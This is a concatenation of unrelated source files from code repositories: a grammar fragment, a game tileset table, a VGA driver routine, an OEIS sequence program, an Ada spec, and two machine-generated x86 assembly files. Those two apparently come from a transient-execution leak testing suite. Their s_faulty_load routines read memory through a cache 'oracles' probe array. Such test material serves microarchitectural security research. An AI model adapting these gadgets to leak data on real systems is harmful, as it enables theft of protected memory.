'~&' | '|' | '~|' | '^' | '~^') expr # ExprUnary
| expr op=('*' | '/' | '%') expr # ExprMulDiv
| expr op=('+' | '-') expr # ExprAddSub
| expr op=('<<' | '>>' | '>>>') expr # ExprShift // TODO: '<<<'
| expr op=('>' | '>=' | '<' | '<=') expr # ExprCompare
| expr op=('==' | '!=') expr # ExprEqual
| expr op='&' expr # ExprBAnd
| expr op=('^' | '~^') expr # ExprBXor
| expr op='|' expr # ExprBOr
| expr op='&&' expr # ExprAnd
| expr op='||' expr # ExprOr
| expr '?' expr ':' expr # ExprTernary
| '{' expr '{' expr '}' '}' # ExprRep
| '{' commaexpr '}' # ExprCat
| dotted_name '(' commaexpr ')' # ExprCall
| var_ref # ExprVarRef
| var_ref '[' expr op=(':' | '-:' | '+:') expr ']' # ExprSlice
| DOLLARID '(' commaexpr ')' # ExprDollar
| 'true' # ExprTrue
| 'false' # ExprFalse
| TICKNUM # ExprTrickNum
| CONSTANT TICKNUM # ExprConstTickNum
| CONSTANT # ExprConst
| LITERAL # ExprLiteral
;
var_ref
: dotted_name ('[' es+=expr ']')+ # VarRefIndex
| dotted_name # VarRef
;
commaexpr : (expr)? (',' expr)* ;
param_args : (param_assign (',' param_assign)*)? ;
param_assign : IDENTIFIER '=' expr ;
dotted_name : (es+=IDENTIFIER) ('.' es+=IDENTIFIER)*;
field : known_type IDENTIFIER SEMICOLON;
case_stmt
: 'default' ':' statement # DefaultCase
| commaexpr ':' statement # NormalCase
;
statement
: '{' (stmts+=statement)* '}' # BlockStmt
| decl ';' # DeclStmt
| 'loop' '{'
(stmts += statement)*
'}' # LoopStmt
| 'while' '(' expr ')' '{'
(stmts += statement)*
'}' # WhileStmt
| 'if' '(' expr ')'
thenStmt=statement
('else'
elseStmt=statement)? # IfStmt
| 'case' '(' expr ')' '{'
(cases+=case_stmt)+
'}' # CaseStmt
| 'for' '(' init=for_init ';'
cond=expr ';'
step=assignment_statement ')' '{'
(stmts += statement)*
'}' # ForStmt
| 'do' '{'
(stmts += statement)*
'}' 'while' '(' expr ')' ';' # DoStmt
| 'fence' ';' # FenceStmt
| 'break' ';' # BreakStmt
| 'return' ';' # ReturnStmt
| '$' '(' LITERAL ')' ';' # DollarCommentStmt
| 'goto' IDENTIFIER ';' # GotoStmt
| assignment_statement ';' # AssignmentStmt
| expr ';' # ExprStmt
;
for_init
: assignment_statement #ForInitNoDecl
| decl_init #ForInitDecl
;
leftvalue
: var_ref # LValue
| var_ref '[' expr op=(':' | '-:' | '+:') expr ']' # LValueSlice
| '{' refs+=leftvalue (',' refs+=leftvalue)+ '}' # LValueCat
;
assignment_statement
: leftvalue '++' # AssignInc
| leftvalue '--' # AssignDec
| leftvalue '=' expr # Assign
| leftvalue ASSIGNOP expr # AssignUpdate
;
|
data/tilesets/elite_four_room_collision.asm | Dev727/ancientplatinum | 28 | 12483 | <gh_stars>10-100
tilecoll WALL, WALL, WALL, WALL ; 00
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 01
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 02
tilecoll FLOOR, FLOOR, WARP_CARPET_DOWN, WARP_CARPET_DOWN ; 03
tilecoll WALL, WALL, WALL, FLOOR ; 04
tilecoll WALL, WALL, FLOOR, FLOOR ; 05
tilecoll WALL, WALL, FLOOR, WALL ; 06
tilecoll WALL, WALL, WALL, WALL ; 07
tilecoll WALL, FLOOR, WALL, FLOOR ; 08
tilecoll FLOOR, FLOOR, PIT, FLOOR ; 09
tilecoll FLOOR, WALL, FLOOR, WALL ; 0a
tilecoll FLOOR, FLOOR, WALL, FLOOR ; 0b
tilecoll WALL, FLOOR, WALL, WALL ; 0c
tilecoll FLOOR, FLOOR, WALL, WALL ; 0d
tilecoll FLOOR, WALL, WALL, WALL ; 0e
tilecoll WALL, FLOOR, FLOOR, FLOOR ; 0f
tilecoll WALL, FLOOR, WALL, FLOOR ; 10
tilecoll FLOOR, WALL, FLOOR, FLOOR ; 11
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 12
tilecoll FLOOR, FLOOR, FLOOR, WALL ; 13
tilecoll WALL, WALL, WALL, WALL ; 14
tilecoll WALL, WALL, FLOOR, FLOOR ; 15
tilecoll LADDER, LADDER, FLOOR, FLOOR ; 16
tilecoll WALL, WALL, WALL, WALL ; 17
tilecoll FLOOR, FLOOR, WALL, WALL ; 18
tilecoll FLOOR, FLOOR, WALL, WALL ; 19
tilecoll FLOOR, WALL, FLOOR, WALL ; 1a
tilecoll WALL, FLOOR, WALL, WALL ; 1b
tilecoll FLOOR, FLOOR, WARP_CARPET_DOWN, WARP_CARPET_DOWN ; 1c
tilecoll WALL, FLOOR, WALL, FLOOR ; 1d
tilecoll FLOOR, WALL, FLOOR, WALL ; 1e
tilecoll WALL, WALL, WALL, WALL ; 1f
tilecoll WALL, FLOOR, WALL, FLOOR ; 20
tilecoll WALL, WALL, FLOOR, FLOOR ; 21
tilecoll WALL, WALL, FLOOR, FLOOR ; 22
tilecoll WALL, WALL, FLOOR, FLOOR ; 23
tilecoll WALL, WALL, WALL, WALL ; 24
tilecoll FLOOR, WALL, FLOOR, WALL ; 25
tilecoll WALL, FLOOR, WALL, FLOOR ; 26
tilecoll WALL, WALL, WALL, WALL ; 27
tilecoll FLOOR, FLOOR, FLOOR, LADDER ; 28
tilecoll FLOOR, FLOOR, FLOOR, LADDER ; 29
tilecoll WALL, WALL, WALL, WALL ; 2a
tilecoll WALL, WALL, WALL, WALL ; 2b
tilecoll WALL, WALL, WALL, WALL ; 2c
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 2d
tilecoll ICE, ICE, ICE, FLOOR ; 2e
tilecoll ICE, ICE, FLOOR, ICE ; 2f
tilecoll WALL, FLOOR, FLOOR, FLOOR ; 30
tilecoll FLOOR, ICE, ICE, ICE ; 31
tilecoll ICE, FLOOR, ICE, ICE ; 32
tilecoll WALL, WALL, FLOOR, FLOOR ; 33
tilecoll WALL, WALL, FLOOR, FLOOR ; 34
tilecoll ICE, WALL, ICE, WALL ; 35
tilecoll WALL, ICE, WALL, ICE ; 36
tilecoll WALL, WALL, WALL, WALL ; 37
tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 38
tilecoll ICE, ICE, ICE, ICE ; 39
tilecoll WALL, FLOOR, FLOOR, WALL ; 3a
tilecoll WALL, FLOOR, FLOOR, FLOOR ; 3b
tilecoll DOOR, DOOR, FLOOR, FLOOR ; 3c
tilecoll WALL, FLOOR, WALL, FLOOR ; 3d
tilecoll WALL, WALL, WALL, WALL ; 3e
tilecoll WALL, WALL, WALL, WALL ; 3f
|
drivers/video/ms/vga/disp/16bpp/i386/vgaregs.asm | npocmaka/Windows-Server-2003 | 17 | 13016 | ;---------------------------Module-Header------------------------------;
; Module Name: vgaregs.asm
;
; Copyright (c) 1992 Microsoft Corporation
;-----------------------------------------------------------------------;
;-----------------------------------------------------------------------;
; VOID vInitRegs(void)
;
; Sets the VGA's data control registers to their default states.
;
;-----------------------------------------------------------------------;
.386
.model small,c
assume cs:FLAT,ds:FLAT,es:FLAT,ss:FLAT
assume fs:nothing,gs:nothing
.xlist
include stdcall.inc ;calling convention cmacros
include i386\strucs.inc
include i386\driver.inc
include i386\egavga.inc
.list
.code
cProc vInitRegs,4,< \
uses esi edi ebx, \
ppdev: ptr PDEV >
mov esi,ppdev
; Initialize sequencer to its defaults (all planes enabled, index
; pointing to Map Mask).
mov dx,VGA_BASE + SEQ_ADDR
mov ax,(MM_ALL shl 8) + SEQ_MAP_MASK
out dx,ax
; Initialize graphics controller to its defaults (set/reset disabled for
; all planes, no rotation & ALU function == replace, write mode 0 & read
; mode 0, color compare ignoring all planes (read mode 1 reads always
; return 0ffh, handy for ANDing), and the bit mask == 0ffh, gating all
; bytes from the CPU.
mov dl,GRAF_ADDR
mov ax,(0 shl 8) + GRAF_ENAB_SR
out dx,ax
mov ax,(DR_SET shl 8) + GRAF_DATA_ROT
out dx,ax
; Default to read mode 0, write mode 0:
mov edx,VGA_BASE + GRAF_ADDR
mov ah,byte ptr [esi].pdev_ulrm0_wmX[0]
mov al,GRAF_MODE
out dx,ax ;write mode 0, read mode 0
mov ax,(0 shl 8) + GRAF_CDC
out dx,ax
mov ax,(0FFh shl 8) + GRAF_BIT_MASK
out dx,ax
cRet vInitRegs
endProc vInitRegs
;-----------------------------------------------------------------------;
; VOID vSetWriteModes(ULONG * pulWriteModes);
;
; Sets the four bytes at *pulWriteModes to the values to be written to
; the Graphics Mode register to select read mode 0 and:
; write mode 0, write mode 1, write mode 2, and write mode 3,
; respectively.
;
; Must already be in graphics mode when this is called.
;-----------------------------------------------------------------------;
cProc vSetWriteModes,4,< \
pulWriteModes:ptr >
mov edx,VGA_BASE + GRAF_ADDR
mov al,GRAF_MODE
out dx,al ;point the GC Index to the Graphics Mode reg
inc edx ;point to the GC Data reg
in al,dx ;get the current setting of the Graphics Mode
and eax,0fch ;mask off the write mode fields
mov ah,al
mov edx,eax
shl edx,16
or eax,edx ;put the Graphics Mode setting in all 4 bytes
mov edx,pulWriteModes ;the mode values go here
or eax,03020100h ;insert the write mode fields
mov [edx],eax ;store the Graphics Mode settings
cRet vSetWriteModes
endProc vSetWriteModes
end
|
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_1779.asm | ljhsiun2/medusa | 9 | 99475 | <filename>Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_1779.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1b9f9, %r10
nop
nop
nop
nop
nop
inc %rdi
vmovups (%r10), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %rsi
inc %rbp
lea addresses_D_ht+0x9e79, %rbp
nop
nop
sub $15978, %rdi
mov $0x6162636465666768, %r14
movq %r14, (%rbp)
nop
nop
nop
nop
nop
and %rbp, %rbp
lea addresses_WT_ht+0x19ce0, %r11
add %rcx, %rcx
and $0xffffffffffffffc0, %r11
vmovaps (%r11), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $1, %xmm7, %rbp
nop
xor $54894, %rcx
lea addresses_D_ht+0x1aec9, %rcx
nop
nop
nop
nop
xor %rbp, %rbp
movb (%rcx), %r10b
nop
nop
nop
nop
nop
add $19525, %r10
lea addresses_UC_ht+0x17f9, %r14
nop
nop
nop
add %r11, %r11
mov (%r14), %ecx
xor $6979, %rcx
lea addresses_A_ht+0xc6c1, %rcx
nop
add $58662, %rsi
mov $0x6162636465666768, %r11
movq %r11, (%rcx)
dec %r14
lea addresses_D_ht+0x11279, %rbp
nop
nop
nop
nop
cmp $57630, %r11
movl $0x61626364, (%rbp)
nop
nop
sub $35471, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r14
push %r8
push %rax
push %rbp
push %rcx
// Store
lea addresses_WC+0x7799, %r8
nop
nop
nop
nop
xor %r13, %r13
movl $0x51525354, (%r8)
nop
add %rbp, %rbp
// Load
lea addresses_WT+0x6ff9, %rax
nop
dec %r14
movb (%rax), %cl
nop
nop
xor $44713, %r13
// Load
lea addresses_PSE+0x8fe9, %rax
nop
nop
nop
nop
cmp %r10, %r10
vmovups (%rax), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %r13
nop
cmp $8952, %r14
// Store
lea addresses_RW+0x6c37, %r14
nop
nop
nop
nop
sub $8667, %r13
movl $0x51525354, (%r14)
nop
nop
nop
nop
nop
dec %rcx
// Faulty Load
lea addresses_WC+0xaff9, %r14
sub $20320, %r10
vmovntdqa (%r14), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $0, %xmm0, %rbp
lea oracles, %rax
and $0xff, %rbp
shlq $12, %rbp
mov (%rax,%rbp,1), %rbp
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r14
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': True, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 6, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 7, 'size': 8, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': True, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 8, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
oeis/004/A004573.asm | neoneye/loda-programs | 11 | 93537 | ; A004573: Expansion of sqrt(7) in base 6.
; Submitted by <NAME>(s2)
; 2,3,5,1,2,5,2,1,0,1,2,2,3,2,1,2,5,0,0,3,5,0,3,5,0,5,2,1,2,5,3,3,0,4,4,5,1,1,5,5,2,3,4,5,2,1,5,0,4,4,1,0,3,0,5,5,2,5,0,1,1,2,3,1,5,4,5,3,0,1,5,5,3,5,0,3,1,2,3,5,5,1,0,2,0,3,3,1,4,0,5,5,2,2,2,4,4,2,0,5
mov $1,1
mov $2,1
mov $3,$0
add $3,2
mov $4,$0
add $4,2
mul $4,2
mov $7,10
pow $7,$4
lpb $3
mov $4,$2
pow $4,2
mul $4,7
mov $5,$1
pow $5,2
add $4,$5
mov $6,$1
mov $1,$4
mul $6,$2
mul $6,2
mov $2,$6
mov $8,$4
div $8,$7
max $8,1
div $1,$8
div $2,$8
sub $3,1
mov $9,6
lpe
mov $3,$9
pow $3,$0
div $2,$3
div $1,$2
mod $1,$9
mov $0,$1
|
Transynther/x86/_processed/AVXALIGN/_st_/i3-7100_9_0x84_notsx.log_21829_2810.asm | ljhsiun2/medusa | 9 | 175493 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x1180d, %r10
nop
nop
nop
cmp $45611, %r8
mov (%r10), %esi
nop
nop
nop
cmp %r8, %r8
lea addresses_A_ht+0x4d8d, %r14
nop
sub $54779, %r11
mov (%r14), %r8
nop
nop
nop
nop
nop
dec %r8
lea addresses_normal_ht+0x1800d, %r11
nop
nop
nop
nop
xor %rsi, %rsi
mov $0x6162636465666768, %r14
movq %r14, %xmm0
and $0xffffffffffffffc0, %r11
vmovntdq %ymm0, (%r11)
nop
nop
sub %r11, %r11
lea addresses_D_ht+0x7ea5, %rsi
lea addresses_UC_ht+0x1affc, %rdi
inc %rbp
mov $50, %rcx
rep movsl
nop
nop
nop
cmp %r14, %r14
lea addresses_WC_ht+0x508d, %r8
nop
nop
nop
nop
cmp %rcx, %rcx
movups (%r8), %xmm3
vpextrq $0, %xmm3, %rsi
nop
nop
nop
nop
nop
add $22292, %r10
lea addresses_normal_ht+0x1c023, %rcx
nop
nop
and $22165, %r11
vmovups (%rcx), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %r14
nop
nop
cmp %rbp, %rbp
lea addresses_UC_ht+0x5fab, %rsi
lea addresses_WC_ht+0x7e8d, %rdi
sub $10446, %rbp
mov $88, %rcx
rep movsq
nop
nop
nop
nop
cmp $30184, %r10
lea addresses_UC_ht+0x1880d, %rcx
nop
nop
nop
sub %r8, %r8
mov $0x6162636465666768, %rbp
movq %rbp, %xmm1
vmovups %ymm1, (%rcx)
nop
nop
nop
nop
nop
dec %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
// Load
lea addresses_RW+0xf1cd, %rbp
clflush (%rbp)
nop
nop
nop
nop
nop
add $16865, %rdx
movb (%rbp), %r10b
nop
sub $19969, %r11
// Store
lea addresses_PSE+0x1120d, %r10
nop
nop
nop
nop
dec %rdi
mov $0x5152535455565758, %r11
movq %r11, %xmm6
vmovups %ymm6, (%r10)
and %rbp, %rbp
// REPMOV
lea addresses_PSE+0xbeed, %rsi
lea addresses_D+0x7fd9, %rdi
nop
nop
nop
xor %r10, %r10
mov $88, %rcx
rep movsq
nop
nop
inc %rcx
// Load
lea addresses_A+0x80d, %rax
and $27145, %r10
mov (%rax), %edx
cmp $31456, %rsi
// Store
lea addresses_RW+0x902d, %rcx
nop
xor %r11, %r11
movl $0x51525354, (%rcx)
nop
nop
nop
nop
cmp %rdx, %rdx
// Store
lea addresses_UC+0x10f8d, %r11
add %rsi, %rsi
mov $0x5152535455565758, %rcx
movq %rcx, (%r11)
inc %rdx
// Faulty Load
lea addresses_A+0x80d, %r11
nop
nop
inc %rsi
mov (%r11), %edx
lea oracles, %rbp
and $0xff, %rdx
shlq $12, %rdx
mov (%rbp,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'same': False, 'size': 32, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_RW', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_PSE', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_A', 'same': True, 'size': 4, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
|
3-mid/impact/source/3d/collision/narrowphase/impact-d3-collision-convex_penetration_depth_solver-gjk_epa.ads | charlie5/lace | 20 | 1214 | with impact.d3.collision.convex_penetration_depth_Solver,
impact.d3.collision.simplex_Solver,
impact.d3.Shape.convex;
package impact.d3.collision.convex_penetration_depth_Solver.gjk_epa
--
-- EpaPenetrationDepthSolver uses the Expanding Polytope Algorithm to
-- calculate the penetration depth between two convex shapes.
--
is
type Item is new impact.d3.collision.convex_penetration_depth_Solver.item with
record
null;
end record;
overriding function calcPenDepth (Self : access Item; simplexSolver : access impact.d3.collision.simplex_Solver.Item'Class;
pConvexA, pConvexB : in impact.d3.Shape.convex.view;
transformA, transformB : in Transform_3d;
v : access math.Vector_3;
wWitnessOnA, wWitnessOnB : access math.Vector_3) return Boolean;
end impact.d3.collision.convex_penetration_depth_Solver.gjk_epa;
|
oeis/004/A004518.asm | neoneye/loda-programs | 11 | 168019 | <gh_stars>10-100
